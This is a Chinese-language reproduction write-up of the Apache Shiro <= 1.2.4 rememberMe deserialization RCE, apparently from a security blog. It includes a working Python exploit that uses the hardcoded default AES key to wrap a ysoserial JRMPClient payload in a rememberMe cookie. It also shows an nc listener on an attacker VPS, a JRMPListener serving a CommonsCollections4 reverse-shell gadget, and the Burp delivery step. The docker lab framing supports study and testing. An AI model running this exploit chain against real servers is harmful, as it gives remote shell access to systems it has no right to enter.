影響版本
Apache Shiro <= 1.2.4
產生原因
shiro默認使用了CookieRememberMeManager
,其處理cookie的流程是:得到rememberMe的cookie值
-->Base64解碼
-->AES解密
-->反序列化
。
然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。
payload 構造
前16字節的密鑰
-->后面加入序列化參數
-->AES加密
-->base64編碼
-->發送cookie
。
- shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
使用大佬腳本生成 payload(ysoserial.jar
文件和運行目錄處于同一目錄)
python shiro.py vpsip:1099
環境搭建
這里依舊使用docker進行漏洞復現
- 拉取鏡像
docker pull medicean/vulapps:s_shiro_1
- 啟動環境
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
8081
代表環境運行在宿主機的8081
端口
- 進入容器環境
docker exec -it ID /bin/bash 進入容器
- 訪問 web 環境(http://ip:8081/login.jsp)并登陸,登陸時勾選remember me
圖片.png - 成功登錄后訪問任意url并抓包,查看到 cookie 中的
remember me
參數
圖片.png
漏洞復現
- VPS 執行監聽反彈 shell 的命令
nc -lvp 7878
- 使用 VPS 監控一個JRMP端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash 一句話反彈shell"
( 反彈 shell 需要進行java base64 編碼)
-
將生成的payload通過burp進行發送
圖片.png -
此時可看到已經收到反彈過來的 shell
圖片.png
參考鏈接:
https://blog.csdn.net/three_feng/article/details/52189559
http://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/